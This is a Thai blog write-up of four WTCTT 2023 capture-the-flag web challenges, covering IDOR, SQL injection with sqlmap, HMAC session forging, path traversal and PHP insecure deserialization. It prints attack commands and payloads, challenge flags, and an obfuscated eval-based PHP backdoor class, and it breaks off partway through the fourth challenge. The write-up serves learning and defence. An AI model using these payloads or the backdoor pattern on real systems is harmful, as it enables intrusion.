Skip to main content

Command Palette

Search for a command to run...

WTCTT 2023 รอบคัดเลือก : Web Challenges

| write by Ar3mus

Updated
11 min read
WTCTT 2023 รอบคัดเลือก : Web Challenges
A
Cyber Operations Specialist

สวัสดีคร้าบทุกคน สำหรับบล็อกนี้ผมจะมาเขียน write up สำหรับงาน WTCTT 2023 หรือ Women Thailand Cyber Top Talent 2023 นะครับ แต่ผมไม่ได้เป็นผู้เข้าแข่งขันนะครับ 555 ทางผู้ออกโจทย์ได้ปล่อยโจทย์ให้บุคคลภายนอกเข้ามาเล่นหลังจบการแข่งขันรอบคัดเลือกได้ครับ ขอบคุณมากครับพี่ :)

flag format : WTCTT2023_WEB01{[a-z0-9]{32}}


Web Application Penetration Testing Steps And Methods

Ar3mus : สำหรับผมแนวทางปฎิบัติในการทดสอบเว็บ ผมขออ้างอิงจาก Web Application Penetration Testing Steps นะครับ จาก purplesec ครับ แต่ในเรื่องของ CTF ผมขอยกมาแค่ Step ที่ 1 ถึง 3 นะครับ

src : Web Application Penetration Testing: Steps, Methods, & Tools | PurpleSec

Web 1 - Account Takeover

TARGET : SDH Bank | WTCTT 2023 - Web Challenge 1 (p7z.pw)

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering

Ar3mus : เราจะทำการ Enumerate ข้อมูลเว็บไซต์เบื้องต้นครับ โดยดูที่ Source Code

    ## DEVELOPER NOTE

    ### Test User Account
        - Username: testuser1
        - Password: testuser1

Ar3mus : หลังจากที่เราดู Source Code จะเห็นว่าเราเจอ Developer note ทิ้งไว้เป็น comment ครับ

Ar3mus : ที่นี้เรามาลอง Login จากข้อมูล user password ที่ได้มาครับ

Ar3mus : พอเรา Login ได้สำเร็จก็จะพบกับข้อความว่า

You do not have administrator privilege. Become an administrator to get a flag.

Ar3mus : ไม่มีสิทธิ์ administrator เลยไม่สามารถ get flag ได้

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation

Ar3mus : โดยถ้าเรามาสังเกตในส่วนของ URL จะเห็นว่า Website มีการ query ข้อมูล user_id=1

ซึ่งเราสามารถใช้ ท่า IDOR (Insecure Direct Object Reference) ในการโจมตีได้ครับ โดยเราสามารถเปลี่ยนตัวเลข ตรง user_id ครับ

Ar3mus : สวัสดีครับพี่ longcat :P

Ar3mus : ที่นี้เราก็มาเจอกับ user : secret_admin เเล้ว

Your session is not correct.

Ar3mus : จะเห็นว่า session ไม่ถูกต้องดังนั้นเราลองมาดูในส่วนของ Storage กันครับ ให้ไปที่ Inspect > Storage

Ar3mus : session ยังเป็น testuser1 อยู่

Ar3mus : ให้เราทำการเปลี่ยนเป็น secret_admin

Ar3mus : You got the flag!!!

WTCTT2023_WEB01{0216b464c609eb0b6b461c3625ab7b08}

Ar3mus : ผมขอเสริมในขั้นตอนที่สามนะครับ Reporting & Recommendations จากที่เราได้ทำการทดสอบมาสรุปช่องโหว่ที่เราเจอมีดังต่อไปนี้ครับ

Reporting

A01:2021 – Broken Access Control

  • Insecure direct object references (IDOR)

Recommendations

src :

A01 Broken Access Control - OWASP Top 10:2021

Insecure direct object references (IDOR) | Web Security Academy (portswigger.net)

Best practices to prevent IDOR vulnerabilities - Avatao

Web 2 - SQLi then HMAC

TARGET : SDH Bank | WTCTT 2023 - Web Challenge 2 (p7z.pw)

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering

Ar3mus : หลังจากที่ผมทำการ Enumerate ข้อมูลเว็บไซต์เบื้องต้นครับ โดยดูที่ Source Code

Ar3mus : เราจะเจอกับ Comment

<!-- SQLMap my 'app_session' cookie (before :). -->

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation

Ar3mus : ให้เราลองมาดูในส่วนของ Storage กันครับ ให้ไปที่ Inspect > Storage ครับ

Ar3mus : เเล้วทำการเปลี่ยน Value เป็น admin%3Ainvalid ครับ

Ar3mus : จากนั้นถ้าเรามาดูหน้า home ก็จะเห็น Error

Error: HMAC-SHA256 signature is not correct.

Ar3mus : โดยถ้าเรามาวิเคราะห์ ในส่วนของ comment เหมือนว่าเราต้องใช้ เครื่องมือ sqlmap ในส่วนของ cookie ที่ชื่อว่า app_session ครับ

<!-- SQLMap my 'app_session' cookie (before :). -->

sqlmap -u 'http://web.wtctt2023.p7z.pw:8002/' --cookie='app_session=*' --all

Database: <current>                                                                                                              
Table: members
[2 entries]
+---------+---------------------------------------------+-------------------+
| user_id | password                                    | username          |
+---------+---------------------------------------------+-------------------+
| 1       | 008c5926ca861023c1d2a36653fd88e2 (whatever) | testuser          |
| 2       | b5d579d5020e1b30690aef479df6f917            | unguessable_admin |
+---------+---------------------------------------------+-------------------+

Ar3mus : จะเห็นว่า password ของ user : unguessable_admin ไม่สามารถ crack hash md5 ได้ครับ

Ar3mus : หลังจากที่เราล็อคอินโดยใช้ user : testuser เราจะได้ไฟล์ functions.php มาครับ

<?php

    # init db
    $databaseFile = 'database.sqlite';

    if (!file_exists($databaseFile)) {
        try {
            // Create (connect to) a read-only connection to SQLite database in file
            $database = new PDO('sqlite:' . $databaseFile );

            // Set errormode to exceptions
            $database->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            // Create the 'members' table
            $createQuery = "CREATE TABLE IF NOT EXISTS members (
                                user_id INTEGER PRIMARY KEY,
                                username TEXT NOT NULL,
                                password TEXT NOT NULL
                            )";
            $database->exec($createQuery);

            $insertQuery = "INSERT INTO members (username, password) VALUES (?, ?)";
            $statement = $database->prepare($insertQuery);

            $passwords = [
                'whatever', 
                getenv('ADMIN_PASSWORD')
                ];


            $statement->execute(['testuser', md5($passwords[0])]);
            $statement->execute(['unguessable_admin', md5($passwords[1])]);

            $database = null;
        } catch (PDOException $e) {

            setcookie('error', $e->getMessage(), 0, '/'); // Set cookie

        }
    } 

    // read-only
    $database = new PDO('sqlite:' . $databaseFile, null, null, [PDO::SQLITE_ATTR_OPEN_FLAGS => PDO::SQLITE_OPEN_READONLY]);
    $database->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    $secretKey =  base64_decode('ZjcwODRiOGM0MDMzNTI5MWQxMWYwMTEzY2RmNDhlNmM='); 


    // Function to create a HMAC signature
    function createHmacSignature($username) {
        global $secretKey;
        return hash_hmac('sha256', $username, $secretKey);
    }

    if(!isset($_COOKIE['app_session'])){
        $cookieValue = 'guest' . ':invalid' ;
        setcookie('app_session', $cookieValue, 0, '/'); // Set cookie
    }

    // Function to validate the session
    function isSessionValid() {
        global $database;
        global $secretKey;
        if (isset($_COOKIE['app_session'])) {
            list($username, $cookieHmac) = explode(':', $_COOKIE['app_session']);
            // Prepare a statement for getting user data
            try {
                // Check if user exists in the database
                $sql = "SELECT * FROM members WHERE username = '".$username."'";

                $stmt = $database->prepare($sql);
                $stmt->execute();
                $user = $stmt->fetch(PDO::FETCH_ASSOC);

                if($user !== false){
                     $calculatedHmac = createHmacSignature($username, $secretKey);
                     // Check if the HMAC is valid
                     if (hash_equals($calculatedHmac, $cookieHmac)) {
                        return true;
                     }
                     echo '<!-- Debug1: '.$user['username'].' -->';
                }

                return false;

            } catch (PDOException $e) {
                // Handle the database error, e.g., log it or echo an error message
                echo '<!-- Debug2: '.$e->getMessage().' -->';
                return false; // Return false in case of a database error
            }

        }
        return false;
    }


    // Login Function
    function login($username, $password) {
        // Prepare a statement for getting user data
        global $database;
        global $secretKey;
        $stmt = $database->prepare("SELECT * FROM members WHERE username = ?");
        $stmt->execute([$username]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($user && md5($password) === $user['password']) {
            // Correct credentials, create HMAC signature
            $hmac = createHmacSignature($username, $secretKey);
            $cookieValue = $username . ':' . $hmac;
            setcookie('app_session', $cookieValue, 0, '/'); // Set cookie
            header("Location: /index.php");
            exit();
        }
        setcookie('error', 'Username or Password is not correct.', 0, '/'); // Set cookie

        header("Location: /login.php?error=cred_invalid");
        exit();
    }

    // Logout Function
    function logout() {
        if (isset($_COOKIE['app_session'])) {
            // Expire the cookie by setting its expiration time in the past
            setcookie('app_session', '', time() - 3600, '/');
            unset($_COOKIE['app_session']);
        } 
        header("Location: /index.php");
        exit();
    }


?>

Ar3mus : จากที่เราอ่าน code มาจะเห็นส่วนที่น่าสนใจครับ

    $secretKey =  base64_decode('ZjcwODRiOGM0MDMzNTI5MWQxMWYwMTEzY2RmNDhlNmM='); 


    // Function to create a HMAC signature
    function createHmacSignature($username) {
        global $secretKey;
        return hash_hmac('sha256', $username, $secretKey);
    }

    if(!isset($_COOKIE['app_session'])){
        $cookieValue = 'guest' . ':invalid' ;
        setcookie('app_session', $cookieValue, 0, '/'); // Set cookie
    }

Ar3mus : เห็นมั้ย ครับว่าในตอนที่เราไปเปลี่ยน app_session จะขึ้น error ว่า HMAC-SHA256 signature is not correct. นั้นเเสดงว่าเราจะต้องใส่ค่า $cookieValue ไม่ถูกต้องครับ โดยถ้าเราต้องการใส่ $cookieValue ให้ถูกต้องจะประกอบไปด้วย

user : hash HMAC-SHA256 signature

Ar3mus : นำ $secretKey ไป decode ครับ

src : Free HMAC-SHA256 Online Generator Tool | Devglan

Ar3mus : จากนั้นทำการสร้าง HMAC-SHA256 signature hash ขึ้นมาครับ เเล้วไปประกอบร่าง

unguessable_admin%3A07000af0ce9f6230e5c72ba90474a2a2405da06e65f0fb5bed92c411c6e0ff3a

Ar3mus : You got the flag!!

WTCTT2023_WEB02{8e35d3ff06c0869b959d76e8a7c479e1}

Ar3mus : เรามาสรุปกันครับในขั้นตอนที่สามนะครับ Reporting & Recommendations จากที่เราได้ทำการทดสอบมาสรุปช่องโหว่ที่เราเจอมีดังต่อไปนี้ครับ

Reporting

A03:2021 – Injection

  • SQL injection (SQLi)

A02:2021 – Cryptographic Failures

src :

A03 Injection - OWASP Top 10:2021

What is SQL Injection? Tutorial & Examples | Web Security Academy (portswigger.net)

A02 Cryptographic Failures - OWASP Top 10:2021

Web 3 - Path Traversal over vHost

TARGET : http://web.wtctt2023.p7z.pw:8003/index.php?page=welcome.txt

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering

Ar3mus : จะสังเกตเห็นว่า ตรง URL มีการ query ข้อมูลครับ

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation

Ar3mus : ซึ่งถ้า Web มีการ query ข้อมูลเราสามารถใช้ท่าการโจมตี Path traversalได้ครับ โดยใช้ ../../../../../../../etc/passwd

Ar3mus : โดยจากโจทย์ได้กล่าวว่า

Read one file and it will lead you to new clues. The challenge consists of 2 vHost, but you do not need to perform vHost Fuzzing (please avoid doing it).

ดังนั้นเราสามารถเช็ค hosts ได้จากไฟล์ /etc/hosts ครับ

../../../../../../../etc/hosts

Hidden vHost URL Pattern: https://?????.chall3.wtctt2023.p7z.pw
                          https://adm1n.chall3.wtctt2023.p7z.pw

Ar3mus : จากนั้นให้เราทำการเพิ่ม hosts เข้าไป โดย IP Address ใช้จาก domain โจทย์ครับ

nano /etc/hosts

Ar3mus : จะเห็นว่าหลังจากที่เราสามารถเข้าถึง vhost ที่ซ้อนอยู่เราจะเห็นว่า ใน source code มีการ comment

<?php echo highlight_file("index.php"); ?>

Ar3mus : ซึ่งโดยปกติแล้ว Custom Web Server Configuration จะอยู่ที่ /var/www/vhosts/

src : Apache and nginx Web Servers (Linux) | Plesk Obsidian documentation

Ar3mus : จากนั้นให้เราทำ Path Traversal ไปที่

../../../../../../../var/www/adm1n/index.php

Ar3mus : จากพอเรามาเช็ค Source code จะผมกับ function.getHeaderValue ครับ

Ar3mus : ซึ่งจะเห็นว่า ใน class WTCTT2023 มีส่วนของ __destruct ที่จะเกี่ยวข้องกับ PHP Object Serialization ครับ

src : https://www.techsuii.com/2018/06/03/php-serialization-owasp-a82017-insecure-deserialization/

class WTCTT2023 {
  function __destruct() {
    echo getenv('FLAG3');
  }
}

if(is_null(getHeaderValue("X-SECRET-X"))){
    echo '<?php echo highlight_file("index.php"); ?>';
}else{
    unserialize(base64_decode(getHeaderValue("X-SECRET-X")));    
}

Ar3mus : ซึ่งเป็นช่องโหว่ Insecure Deserialization ครับ โดยเราต้องทำการ serializtion value WTCTT2023 เเล้วเข้ารหัสเป็น base64 ครับ เราสามารถนำไปเขียนเป็น script ได้ครับ

<?php
class WTCTT2023 {
  function __destruct() {
    echo getenv('FLAG3');
  }
}

$data = new WTCTT2023();

$new = serialize($data);

echo $new;

echo "\n";

echo base64_encode($new);
?>

Ar3mus : จากนั้นนำ base64 ที่ได้ไปใส่ใน request header โดยใช้คำสั่ง curl

curl -X GET -H "X-SECRET-X: Tzo5OiJXVENUVDIwMjMiOjA6e30=" http://adm1n.chall3.wtctt2023.p7z.pw:8003/

Ar3mus : You got the flag!!!

WTCTT2023_WEB03{267ab6a6a35e734869a2f0bc37d7a9c2}

Ar3mus : เรามาสรุปกันครับในขั้นตอนที่สามนะครับ Reporting & Recommendations จากที่เราได้ทำการทดสอบมาสรุปช่องโหว่ที่เราเจอมีดังต่อไปนี้ครับ

Reporting

  • Path traversal

  • A8:2017-Insecure Deserialization

src :

What is path traversal, and how to prevent it? | Web Security Academy (portswigger.net)

Path Traversal | OWASP Foundation

OWASP Top Ten 2017 | A8:2017-Insecure Deserialization | OWASP Foundation

Web 4 - White Box Code Analysis

TARGET : http://web.wtctt2023.p7z.pw:8004/

Ar3mus : เริ่มกันที่ขั้นตอนแรกครับ Information Gathering

Ar3mus : โดยโจทย์จะให้ Source Code มาครับ ซึ่งเป็นโจทย์ที่เป็น White Box ซึ่งเรามีข้อมูลทุกอย่าง โดยให้เราอาศัยการวิเคราะห์ ข้อมูลที่เรามีอยู่ครับ

function.php

<?php
class sessionn
{
    protected $user;
    protected $pass;
    function __construct($user, $pass)
    {
        $this->user = $user;
        $this->pass = $pass;
    }
}
function store_session($user, $pass)
{
    $sess = new sessionn($user, $pass);
    $data = serialize($sess);
    // LongCat Ramen Eater: i don't need to store null values 
    // to our data center directly so i simply replace them with a ramen -> _🍜_
    // whenever we need to load it back to PHP session, we can just reverse the algorithm before doing unserialize().
    $data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);

    $_SESSION["username"] = $user;
    $_SESSION["data"] = $data;
    return uniqid('wtctt2023_04');
}

function load_sessionn()
{
    $data = $_SESSION["data"];
    // echo "<!-- debug\r\n".$data."\r\n\r\n";
    // echo str_replace('_🍜_', chr(0) . '*' . chr(0), $data)."\r\n-->\r\n";
    // reverse the algorithm: bring null values back from \0\0\0
    // if we don't do this, we cannot get the sessionn object with unserialize().
    return str_replace('_🍜_', chr(0) . '*' . chr(0), $data);
}

// an unknown PHP class inserted by a newly hired junior PHP developer
// it has never been called anyway. it looks harmless to me.
// i think something will be broken if i remove it.
// so i will just ignore this for now.
class Backdoor
{
    function __destruct()
    {
        if ($this->destruct == '🍜') {
            eval(gzinflate(base64_decode(strrev('/0//3k//f5MKn44NPb6BeR+fmv39zYpQuAjiD1ILYtNGcFHNrP5NzAIrLpZrGWZvuK5JbvevpiXSm93oZ460f2cIZfz7B0zrE/M6HFh56k5PtMq/wSR0g8kYunGTnug2olbZyK1h/Ge/O2gb6Y3V8dmdklsDk944NdrAwgXNijlJ+/TXw4Ve64P2Ae/H1FKJx+fwWh9uPEgVPF+C9Ka2a9OjmimrdO7OMEtLuqVBPFOa0v3KWyCpvbq/cFudWR91NDfIOQGioogOJ8W3tRjYOLPI2vGjOdfEZCNUhUvn06HdxRL75NZUoEoTkYx7PUne37VB5xi5Dzt/KuR8djpyI29+/Zya6ejaYABgbIaAnZ9BQxR1TJ8are/7g9XYF6XwV4lAZzf7x1SSkep6iN9NtQXuAXj3AXepJeUWsLLShiwdt0EaviHSHyntLjbXNpA7+qOzjopoM6+uw71SItS4oOOwvUKlZ9yHs/HF2+DIvhvpaZfMehmI0oKjcCXpLc7bcOm4BwD21wmJKOSgexSfsPd8TX7v+88aNL6/zF/4X0jq+BGXSVJS09qndJp0T3mSW63aFEg9pWU/uOyJ/GmCrNJI4Bptp6MLMyiSYkmTmzOaPOzPinIdEI/6xxpeaD2/6WETfSX7GHEkTvDLsw60lFeKrSdXeUdopeY9LWv7rSTKlumSTT5Tf+qsVoayIFcgFCVLOK7UrHJpmqZnjyXlMQMpJhYyu3oqvCXovoc4EuJWFGN9tdhTRHwUN+FgSfrC6SU1p8E1nSN44n3jmOoDnfIymWEtTb+I7v3exk1013PZUrcqsRHw1/+wGmTr8pydlMyP45hURlKvHo9zOodQBipEhq4hockfl3YjAfaQcmVH8ZAH2OPfE99o+BLyhdIq+Wmf+3XTN/fVuAdBa4ux+1PdbPRTzRwWdIoddUTbPUR77e45TOoFmla/UYg7h8u4G7TudcVbGSixGuE6ECIezACr+6lGvQYzOYI5bYM1pE0Zl0GK4sRLfiLtCrv4gwtuBz7IeqVKskUjhKlSRc+Nz+uw5hi3VR+7PTliIZWBihCjokBGib1IJUnw2PyUtnFDMjGnUyeKdzYBI1ibwCBdRZtrSosmCEis1U7dHa1BrOws0pOm1zt43hY/9PPBMioiA0sP50VIqWV4l2xEFcB+57MpDorifWL3x/bkmNW1RlaFqrLMZPfFLxKIqn7lmIolCyWyqfSyYagGMCqQD45UkRai0cxudl2WAYTMuWqQwJxAYFq37cXNIG4fYS746mzKkWP1RKM7RuWyTsrHfGrNgQaa49iAHrHqPB5n0C+xwhll+og0zA62f2WFy3KP2EpjfC2DKB9SryJKqtr24LldxurJj8WWJSClodq9pPF/t2gnipNwvQmzaxDr50bO1280FZNSlCIStzFkO7rVp4kJ36yyf2hTyufSjajmasz4mO4l/JPfU/LHxZMj0WjXZkz9V/dyARFfV4Rxef9Rg1HO4NDhg1OZ6qbjGDj4X+JR9YTLwvhHsEc4NTnr6d19FoWUf9yxRkfTGL2EqOTUq7fxDkxmr2cHFhvkb9t5bpCLr110h2f0t5w6yiN3cO6W0v/CQN7dKOkEcxGpc6L/IQaaYp5m2hodJ8xARRaaPX585E74qEe7K8vwdSYJfsWnCFekdQEL6qIpk3sA1R7X1Uk4PrdSl5y6s6KUUoydd7ybQY57sBrp1Li27cxCmLibL+G2uoTNuzc7HQwHLmG8SaenZ0mYZOmiMkjR00WlDx4pNojEEULVjpI55RH7luOKmHlJI5xzESAmHw17IizEtS5ujrqqXQuvD5vXeL4rSduIjhHMD9W8Y6tsjTzDn5q+KmFKUpXJFxrILeOukoWxLbJ886uEKlTEjvivOE2291/479F9J6PDOw55PSkxIvM3QigT8ASTBegJ98WxSdS0ZQvSZMYcOJ6TWcWsEIysldb76V0I90kHOpx2GZ1J0XJvPJo53HH/hmufe2EgvNNBO7/6a+uQNiDmV9FznyG6O8veSc78VmL0J/pL/GmdpUhcmE1iZ5FD1Z3Cy4ctCixN2jxOz9/X3b/DPu5Z6/96Ba7xv/HB5qYCP5PJHw28/CodDV1Ovd9fNUJwnqUkxLFVf7nvb8Ge5SIZ76d8g2wqH1IAFZ2Z/QkAYxqD3WZF'))));
        }
    }
}

Ar3mus : ถ้าเรามาดูในส่วนของ class Backdoor จะเห็นในส่วนของ function __destruct() เราจะคุ้นๆว่าเป็น PHP Object Serialization ครับ

eval(gzinflate(base64_decode(strrev('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'))));

โดยสำหรับ eval(gzinflate(base64_decode(strrev เราสามารถ ย้อนกลับได้โดย

eval(gzinflate(base64_decode('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')))

Ar3mus : แล้วนำไปถอดรหัสด้วย gzinflate base64_decode decoder

src : Mobilefish.com - Online eval gzinflate base64_decode decoder

// an unknown PHP class inserted by a newly hired junior PHP developer
// it has never been called anyway. it looks harmless to me.
// i think something will be broken if i remove it.
// so i will just ignore this for now.

Ar3mus : ซึ่งทำให้เรารู้ว่า class Backdoor ไม่ได้ถูกเรียกใช้ เลย cat /flag.txt ไม่ได้ ครับ

function store_session($user, $pass)
{
    $sess = new sessionn($user, $pass);
    $data = serialize($sess);
    // LongCat Ramen Eater: i don't need to store null values 
    // to our data center directly so i simply replace them with a ramen -> _🍜_
    // whenever we need to load it back to PHP session, we can just reverse the algorithm before doing unserialize().
    $data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);

    $_SESSION["username"] = $user;
    $_SESSION["data"] = $data;
    return uniqid('wtctt2023_04');
}

Ar3mus : จากนั้นถ้าเรามาดูในส่วนของ function store_session($user, $pass) จะเห็นว่ามีการ

สร้าง session เเล้วเก็บค่าเป็น serialize

// LongCat Ramen Eater: i don't need to store null values 
// to our data center directly so i simply replace them with a ramen -> _🍜_
// whenever we need to load it back to PHP session, we can just reverse the algorithm before doing unserialize()

Ar3mus : ในคอมเม้นพี่ LongCat เซียนเทพกินหมี่ 😂 ได้กล่าวว่า

// เราจะไม่เก็บค่า null values ไปที่ data center โดยตรง ซึ่ง เราจะแทนที่ค่าพวกนั้นด้วย _🍜_

// เเล้วก็ ทุกครั้งที่พวกเราต้องการโหลดค่ากลับไปที่ PHP session เราสามารถ ย้อนกลับ algorithm ก่อนที่จะทำการ unserialize()

Ar3mus : ซึ่งตรงนี้หมายความว่ายังไงครับ เดียวผมจะอธิบายการทำงานเป็นส่วนๆ นะครับ

  • class sessionn
class sessionn
{
    protected $user;
    protected $pass;
    function __construct($user, $pass)
    {
        $this->user = $user;
        $this->pass = $pass;
    }
}

Ar3mus :sessionn เป็นคลาสที่มีคุณสมบัติ protected คือ $user และ $pass ซึ่งกำหนดให้ผ่านทาง __construct ของคลาส __construct แบบ Parameter-less Constructor คอนสตรัคเตอร์ที่ผู้ใช้กำหนด สามารถเรียกใช้งานฟังก์ชันต่างๆ ในคลาสผ่าน คอนสตรัคเตอร์ได้ครับ

src :

constructor ใน php คืออะไรใช้อย่างไร (mindphp.com)

